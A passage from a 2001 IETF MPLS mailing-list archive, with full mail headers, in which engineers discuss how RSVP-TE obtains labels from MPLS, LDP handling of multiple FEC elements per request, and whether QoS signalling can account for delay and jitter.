	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

hi ,
as far as i am aware ..FEC itself is a number.
and its not that there are parameters to FEC ,
the FEC itself is calculated having different considerations
of QoS , TE , Administration and link contraints.so once the 
FEC is decided , the labels are mapped directly on the basis of FEC

so as far as your first question is concerned , my opinion is 
that RSVP -TE should send FEC( which is nothing else , just a number or
variable)
, to get the label mapping for That FEC which has been calculated in various
above said paraments.

thanks and regards
bhupesh


-----Original Message-----
From: Khuzema Pithewan [mailto:KhuzemaP@netbrahma.com]
Sent: Friday, May 11, 2001 5:27 PM
To: mpls@UU.NET
Subject: RE: Inputs to get the label


Hi,

FEC is a very generic term, but what are the parameters should be passed as
FEC to MPLS to get the label.

Khuzema.

> ----------
> From: 	Bhupesh Bajaj
> Sent: 	Friday, May 11, 2001 5:55 PM
> To: 	Khuzema Pithewan
> Cc: 	mpls@uu.net
> Subject: 	RE: Inputs to get the label
> Importance: 	High
> 
> hi,
> i believe that , as MPLS is supposed to do a mapping 
> between Labels and FEC's , so In the "Resv" message 
> the RSVP - TE should pass "FEC" to MPLS.
> 
> as FEC is the only thing on which the MPLS bases its 
> label assignment/ mapping.
> 
> correct me if i am wrong,
> thanks and regards,
> bhupesh
> 
> 
> -----Original Message-----
> From: Khuzema Pithewan [mailto:KhuzemaP@netbrahma.com]
> Sent: Friday, May 11, 2001 5:07 PM
> To: 'rsvp@ISI.EDU'; 'mpls@UU.NET'
> Subject: Inputs to get the label
> 
> 
> Hi,
> 
> what are the parameters other than LABEL_REQUEST object that RSVP-TE
> should
> pass to MPLS to get a LABEL?
> 
> draft-ietf-mpls-rsvp-lsp-tunnel-08, while discussing the handling of LABEL
> object in Resv Messages downstream, says 
> 
> "A node is expected to send a Resv message before its refresh timers
> expire
> if the contents of the LABEL object change." 
> 
> my query is how can a LABEL object change in LSR and how will RSVP come to
> know about that.
> 
> Khuzema.
> 


From owner-mpls@UU.NET  Fri May 11 08:23:09 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA05972
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 08:23:08 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkonx13649;
	Fri, 11 May 2001 12:22:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkonx08021
	for mpls-outgoing; Fri, 11 May 2001 12:22:11 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkonx08005
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 12:21:55 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkonx21614
	for <mpls@uu.net>; Fri, 11 May 2001 12:21:07 GMT
Received: from gateway.ipinfusion.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.dmlnet.com [209.11.132.18])
	id QQkonx11953
	for <mpls@uu.net>; Fri, 11 May 2001 12:21:06 GMT
Received: from ipinfusion.com (IDENT:root@[10.10.0.38])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4BCL4f30352
	for <mpls@uu.net>; Fri, 11 May 2001 05:21:04 -0700
Message-ID: <3AFBDA91.EBB21FFE@ipinfusion.com>
Date: Fri, 11 May 2001 05:26:57 -0700
From: Manoj Dutta <manoj@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Multiple Fec elements per request !!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

 I have seen lot of discussions on this topic. Could somebody give me
clarification on the following :-

1) An upstream LSR Ru send a label request (assuming DOD is being used)
to LSR Rd. This request comatins a set of fec elements for which it is
known that Rd is next hop for Ru.  Now, what should Rd 's response be if
these set of fec elements cannot be mapped to a single next hop from Rd.
Should it :
a) Break the request into sets of fec elements for which the next hop
from Rd is same and send
    multiple mappings to Ru (one for each such set).  If that is so,
should it use the same msg id for all the
    responses (same as request msg id). If this is the case, then only
the first such label mapping message will be accepted by Ru as it will
match a sent request (which will be deleted after receiving this
mapping).
All subsequent mappings will be rejected as they seem to be unsolicited
mappings from Rd to Ru, there being no record of a matching request)

b) Send a single mapping to Ru and just do label stripping when such a
labelled packet comes from Ru.

c) Send a NULL label (what if Ru does not support label popping ??)

Thanks in advance
Manoj




From owner-mpls@UU.NET  Fri May 11 08:27:01 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA06094
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 08:27:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkonx06033;
	Fri, 11 May 2001 12:26:49 GMT
Received: by mail-control.mail.uu.net 
	id QQkonx08400
	for mpls-outgoing; Fri, 11 May 2001 12:26:19 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkonx08330
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 12:26:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkonx20468
	for <mpls@UU.NET>; Fri, 11 May 2001 12:25:22 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkonx04384
	for <mpls@UU.NET>; Fri, 11 May 2001 12:25:20 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
	id <KWGYJT23>; Fri, 11 May 2001 17:55:10 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D71FF0BB@BRAHMA01>
From: Khuzema Pithewan <KhuzemaP@netbrahma.com>
To: mpls@UU.NET
Subject: RE: Inputs to get the label
Date: Fri, 11 May 2001 17:55:09 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

RSVP-TE path messages does not carry an object named FEC explicitly, but
other parameters like LABEL_REQUEST, LSP ID, Tunnel Id, Flow Spec etc..are
there, and I am wondering if these parameters can be used to get LABEL from
MPLS.

Khuzema.

> ----------
> From: 	Bhupesh Bajaj
> Sent: 	Friday, May 11, 2001 6:21 PM
> To: 	Khuzema Pithewan; mpls@uu.net
> Subject: 	RE: Inputs to get the label
> Importance: 	High
> 
> hi ,
> as far as i am aware ..FEC itself is a number.
> and its not that there are parameters to FEC ,
> the FEC itself is calculated having different considerations
> of QoS , TE , Administration and link contraints.so once the 
> FEC is decided , the labels are mapped directly on the basis of FEC
> 
> so as far as your first question is concerned , my opinion is 
> that RSVP -TE should send FEC( which is nothing else , just a number or
> variable)
> , to get the label mapping for That FEC which has been calculated in
> various
> above said paraments.
> 
> thanks and regards
> bhupesh
> 
> 
> -----Original Message-----
> From: Khuzema Pithewan [mailto:KhuzemaP@netbrahma.com]
> Sent: Friday, May 11, 2001 5:27 PM
> To: mpls@UU.NET
> Subject: RE: Inputs to get the label
> 
> 
> Hi,
> 
> FEC is a very generic term, but what are the parameters should be passed
> as
> FEC to MPLS to get the label.
> 
> Khuzema.
> 
> > ----------
> > From: 	Bhupesh Bajaj
> > Sent: 	Friday, May 11, 2001 5:55 PM
> > To: 	Khuzema Pithewan
> > Cc: 	mpls@uu.net
> > Subject: 	RE: Inputs to get the label
> > Importance: 	High
> > 
> > hi,
> > i believe that , as MPLS is supposed to do a mapping 
> > between Labels and FEC's , so In the "Resv" message 
> > the RSVP - TE should pass "FEC" to MPLS.
> > 
> > as FEC is the only thing on which the MPLS bases its 
> > label assignment/ mapping.
> > 
> > correct me if i am wrong,
> > thanks and regards,
> > bhupesh
> > 
> > 
> > -----Original Message-----
> > From: Khuzema Pithewan [mailto:KhuzemaP@netbrahma.com]
> > Sent: Friday, May 11, 2001 5:07 PM
> > To: 'rsvp@ISI.EDU'; 'mpls@UU.NET'
> > Subject: Inputs to get the label
> > 
> > 
> > Hi,
> > 
> > what are the parameters other than LABEL_REQUEST object that RSVP-TE
> > should
> > pass to MPLS to get a LABEL?
> > 
> > draft-ietf-mpls-rsvp-lsp-tunnel-08, while discussing the handling of
> LABEL
> > object in Resv Messages downstream, says 
> > 
> > "A node is expected to send a Resv message before its refresh timers
> > expire
> > if the contents of the LABEL object change." 
> > 
> > my query is how can a LABEL object change in LSR and how will RSVP come
> to
> > know about that.
> > 
> > Khuzema.
> > 
> 


From owner-mpls@UU.NET  Fri May 11 08:38:53 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA06525
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 08:38:48 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkony14241;
	Fri, 11 May 2001 12:38:15 GMT
Received: by mail-control.mail.uu.net 
	id QQkony09357
	for mpls-outgoing; Fri, 11 May 2001 12:37:42 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkony09349
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 12:37:32 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkony21775
	for <mpls@uu.net>; Fri, 11 May 2001 12:37:08 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkony17000
	for <mpls@uu.net>; Fri, 11 May 2001 12:37:07 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id IAA10902 for mpls@uu.net; Fri, 11 May 2001 08:37:07 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkony09298
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 12:36:39 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkony08487
	for <mpls@UU.NET>; Fri, 11 May 2001 12:36:32 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.131.24])
	id QQkony27882
	for <mpls@UU.NET>; Fri, 11 May 2001 12:36:31 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.128.68]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id IAA10952; Fri, 11 May 2001 08:36:31 -0400 (EDT)
Received: from localhost (rhthomas@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id IAA29967; Fri, 11 May 2001 08:36:31 -0400 (EDT)
Message-Id: <200105111236.IAA29967@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: rhthomas owned process doing -bs
To: Manoj Dutta <manoj@ipinfusion.com>
cc: mpls@UU.NET
Subject: Re: Multiple Fec elements per request !! 
In-reply-to: Your message of "Fri, 11 May 2001 05:26:57 PDT."
             <3AFBDA91.EBB21FFE@ipinfusion.com> 
Date: Fri, 11 May 2001 08:36:31 -0400
From: Bob Thomas <rhthomas@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

Manoj,

>  I have seen lot of discussions on this topic. Could somebody give me
> clarification on the following :-
> 
> 1) An upstream LSR Ru send a label request (assuming DOD is being used)
> to LSR Rd. This request comatins a set of fec elements for which it is
> known that Rd is next hop for Ru.  Now, what should Rd 's response be if

Please note the following from Section 3.4.1 of RFC3036:

      Note that this version of LDP supports the use of multiple FEC
      Elements per FEC for the Label Mapping message only.  The use of
      multiple FEC Elements in other messages is not permitted in this
      version, and is a subject for future study.


Bob


> these set of fec elements cannot be mapped to a single next hop from Rd.
> Should it :
> a) Break the request into sets of fec elements for which the next hop
> from Rd is same and send
>     multiple mappings to Ru (one for each such set).  If that is so,
> should it use the same msg id for all the
>     responses (same as request msg id). If this is the case, then only
> the first such label mapping message will be accepted by Ru as it will
> match a sent request (which will be deleted after receiving this
> mapping).
> All subsequent mappings will be rejected as they seem to be unsolicited
> mappings from Rd to Ru, there being no record of a matching request)
> 
> b) Send a single mapping to Ru and just do label stripping when such a
> labelled packet comes from Ru.
> 
> c) Send a NULL label (what if Ru does not support label popping ??)



From owner-mpls@UU.NET  Fri May 11 09:19:06 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA08093
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 09:19:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoob11160;
	Fri, 11 May 2001 13:18:49 GMT
Received: by mail-control.mail.uu.net 
	id QQkoob01994
	for mpls-outgoing; Fri, 11 May 2001 13:18:10 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoob01988
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 13:18:07 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoob10128
	for <mpls@UU.NET>; Fri, 11 May 2001 13:16:51 GMT
Received: from samar.sasken.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
	id QQkoob23897
	for <mpls@UU.NET>; Fri, 11 May 2001 13:16:48 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f4BDGRb12500;
	Fri, 11 May 2001 18:46:27 +0530 (IST)
Received: from localhost (amg@localhost)
	by sund2.sasi.com (8.9.3/8.9.3) with ESMTP id SAA01278;
	Fri, 11 May 2001 18:45:42 +0530 (IST)
Date: Fri, 11 May 2001 18:45:42 +0530 (IST)
From: Abhijit M Gadgil <amg@sasken.com>
X-Sender:  <amg@sund2.sasi.com>
To: Bhupesh Bajaj <bhupeshb@in.huawei.com>
cc: Khuzema Pithewan <KhuzemaP@netbrahma.com>, <mpls@UU.NET>
Subject: RE: Inputs to get the label
In-Reply-To: <751B6DD7A243D511AB9F0002557C5687057E2C@HUAWEIMAIL>
Message-ID: <Pine.GSO.4.30.0105111841090.712-100000@sund2.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

follow inline please

Abhijit Gadgil

On Fri, 11 May 2001, Bhupesh Bajaj wrote:

> hi ,
> as far as i am aware ..FEC itself is a number.
> and its not that there are parameters to FEC ,
> the FEC itself is calculated having different considerations
> of QoS , TE , Administration and link contraints.so once the
> FEC is decided , the labels are mapped directly on the basis of FEC
>
> so as far as your first question is concerned , my opinion is
> that RSVP -TE should send FEC( which is nothing else , just a number or
> variable)

If its a number then what is the scope of that number? If it is a global
scope (what i really mean is not really GLOBAL, but within the MPLS
domain) then how do u ensure that the same number is consistent within the
mpls domain. And if the number is not global, then how do u ensure the
consistency of qos treatments packets will receive when they are actually
forwarded?

regards

-abhijit



From owner-mpls@UU.NET  Fri May 11 09:20:16 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA08163
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 09:20:16 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoob27439;
	Fri, 11 May 2001 13:20:01 GMT
Received: by mail-control.mail.uu.net 
	id QQkoob02019
	for mpls-outgoing; Fri, 11 May 2001 13:18:29 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoob01996
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 13:18:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkooa02939
	for <mpls@uu.net>; Fri, 11 May 2001 13:14:19 GMT
Received: from mail.cad.zju.edu.cn by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [210.32.131.2])
	id QQkooa26743
	for <mpls@uu.net>; Fri, 11 May 2001 13:14:18 GMT
Received: (qmail 2194 invoked from network); 11 May 2001 12:15:47 -0000
Received: from unknown (HELO cad.zju.edu.cn) (210.32.131.97)
  by 210.32.131.2 with SMTP; 11 May 2001 12:15:47 -0000
Message-ID: <3AFBD7B2.14B95D7F@cad.zju.edu.cn>
Date: Fri, 11 May 2001 20:14:42 +0800
From: shen jing <jshen@cad.zju.edu.cn>
Reply-To: jshen@cad.zju.edu.cn
Organization: state key lab of CAD&CG
X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: How to calculate the actual delay when signaling QoS
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Dear sir/madam:

If the question following is stupid, forgive me please.

As providing a QoS enabled service over internet,  signaling the remote
end along the path calcultated is needed. As I know  RSVP is the
possible solution.

My question is:  the signaling procedure only consider the
bandwidth needed, real transmission dely and jitter can  not be got when

calculating a explicit path, right?


What I want to ask is: is  there any method proposed to solve this
question? In a multicast situation, how to adjust the behavior when
a new member join the multicast tree and request a high QoS level to
server ?

 And would you please tell me any site where  documents on this
subject can be found?

Jame Shen






From owner-mpls@UU.NET  Fri May 11 10:03:11 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10231
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 10:03:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkooe26337;
	Fri, 11 May 2001 14:02:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkooe12103
	for mpls-outgoing; Fri, 11 May 2001 14:02:18 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkooe11875
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 14:02:07 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkooe25821
	for <mpls@UU.NET>; Fri, 11 May 2001 14:00:43 GMT
From: suchauhan@hss.hns.com
Received: from hindon.hss.co.in by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQkooe09805
	for <mpls@UU.NET>; Fri, 11 May 2001 14:00:41 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f4BE1YY21438;
	Fri, 11 May 2001 19:31:37 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A49.004B9871 ; Fri, 11 May 2001 19:15:42 +0530
X-Lotus-FromDomain: HSS
To: Manoj Dutta <manoj@ipinfusion.com>
cc: mpls@UU.NET
Message-ID: <65256A49.004B9637.00@sandesh.hss.hns.com>
Date: Fri, 11 May 2001 19:15:34 +0530
Subject: Re: Multiple Fec elements per request !!
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



hi!
     It should quite simply reply that it cannot give a label for the requested
FEC. This is the case in plain LDP, in case of CR-LDP, I think there is some
level of negotiation possible.
regards
sumit




Manoj Dutta <manoj@ipinfusion.com> on 05/11/2001 05:56:57 PM

To:   mpls@UU.NET
cc:    (bcc: Sumit Chauhan/HSS)

Subject:  Multiple Fec elements per request !!




Hi,

 I have seen lot of discussions on this topic. Could somebody give me
clarification on the following :-

1) An upstream LSR Ru send a label request (assuming DOD is being used)
to LSR Rd. This request comatins a set of fec elements for which it is
known that Rd is next hop for Ru.  Now, what should Rd 's response be if
these set of fec elements cannot be mapped to a single next hop from Rd.
Should it :
a) Break the request into sets of fec elements for which the next hop
from Rd is same and send
    multiple mappings to Ru (one for each such set).  If that is so,
should it use the same msg id for all the
    responses (same as request msg id). If this is the case, then only
the first such label mapping message will be accepted by Ru as it will
match a sent request (which will be deleted after receiving this
mapping).
All subsequent mappings will be rejected as they seem to be unsolicited
mappings from Rd to Ru, there being no record of a matching request)

b) Send a single mapping to Ru and just do label stripping when such a
labelled packet comes from Ru.

c) Send a NULL label (what if Ru does not support label popping ??)

Thanks in advance
Manoj








From owner-mpls@UU.NET  Fri May 11 10:04:41 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10271
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 10:04:41 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkooe20878;
	Fri, 11 May 2001 14:04:16 GMT
Received: by mail-control.mail.uu.net 
	id QQkooe14171
	for mpls-outgoing; Fri, 11 May 2001 14:03:47 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkooe12533
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 14:02:53 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkooe18342
	for <mpls@UU.NET>; Fri, 11 May 2001 14:02:40 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkooe26051
	for <mpls@UU.NET>; Fri, 11 May 2001 14:02:40 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA18064
	for <mpls@UU.NET>; Fri, 11 May 2001 10:02:37 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA23859
	for <mpls@UU.NET>; Fri, 11 May 2001 10:02:38 -0400 (EDT)
Message-ID: <3AFBF116.82FDA047@marconi.com>
Date: Fri, 11 May 2001 10:03:02 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: How to calculate the actual delay when signaling QoS
References: <3AFBD7B2.14B95D7F@cad.zju.edu.cn>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

shen jing wrote:
> 
> My question is:  the signaling procedure only consider the
> bandwidth needed, real transmission dely and jitter can  not be
> got when calculating a explicit path, right?

And it doesn't matter because none of the three MPLS signaling protocols
let you make delay/jitter-based reservations.

-- David


From owner-mpls@UU.NET  Fri May 11 10:45:15 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11731
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 10:45:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkooh05982;
	Fri, 11 May 2001 14:45:00 GMT
Received: by mail-control.mail.uu.net 
	id QQkoog01696
	for mpls-outgoing; Fri, 11 May 2001 14:44:32 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoog01673
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 14:44:14 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoog01738
	for <mpls@UU.NET>; Fri, 11 May 2001 14:43:20 GMT
Received: from ennovatenetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.102.148.71])
	id QQkoog09079
	for <mpls@UU.NET>; Fri, 11 May 2001 14:43:20 GMT
Received: from ennovatenetworks.com (cappa.tst.ennovatenetworks.com [10.1.5.75])
	by ennovatenetworks.com (8.8.7/8.8.7) with ESMTP id KAA04353
	for <mpls@UU.NET>; Fri, 11 May 2001 10:43:19 -0400 (EDT)
	(envelope-from pchen@ennovatenetworks.com)
Message-ID: <3AFBFAA9.3F30172D@ennovatenetworks.com>
Date: Fri, 11 May 2001 10:43:53 -0400
From: Philip Chen <pchen@ennovatenetworks.com>
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: How to calculate the actual delay when signaling QoS
References: <3AFBD7B2.14B95D7F@cad.zju.edu.cn>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



shen jing wrote:

> My question is:  the signaling procedure only consider the
> bandwidth needed, real transmission dely and jitter can  not be got when
>
> calculating a explicit path, right?

Yes, the current RSVP signaling protocol only considers bandwidth. But that
does not mean an explicit path calculation cannot take into consideration of
delays (not only transmission delay, but rather an end-to-end delay) and
delay jitters. In general, path delays and jitters are difficult to
determine, as they depend on many things, such as physical media length,
link capacity, buffering/queuing delay etc... A few researches have shown
that under certain assumptions, delay/jitter requirements can be converted
into equivalent bandwidth requirement. This can be done by the explicit
route calculating node and then use this equivalent bandwidth to calculate
the explicit routes and a signaling protocol like RSVP to reserve resources
along the explicit route path.

--Phil




From owner-mpls@UU.NET  Fri May 11 11:05:59 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA12334
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 11:05:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkooi05147;
	Fri, 11 May 2001 15:05:25 GMT
Received: by mail-control.mail.uu.net 
	id QQkooi10352
	for mpls-outgoing; Fri, 11 May 2001 15:04:51 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkooi10027
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 15:04:35 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkooi15740
	for <mpls@uu.net>; Fri, 11 May 2001 15:04:19 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkooi02204
	for <mpls@uu.net>; Fri, 11 May 2001 15:04:18 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id LAA23082 for mpls@uu.net; Fri, 11 May 2001 11:04:18 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkooi08885
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 15:03:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
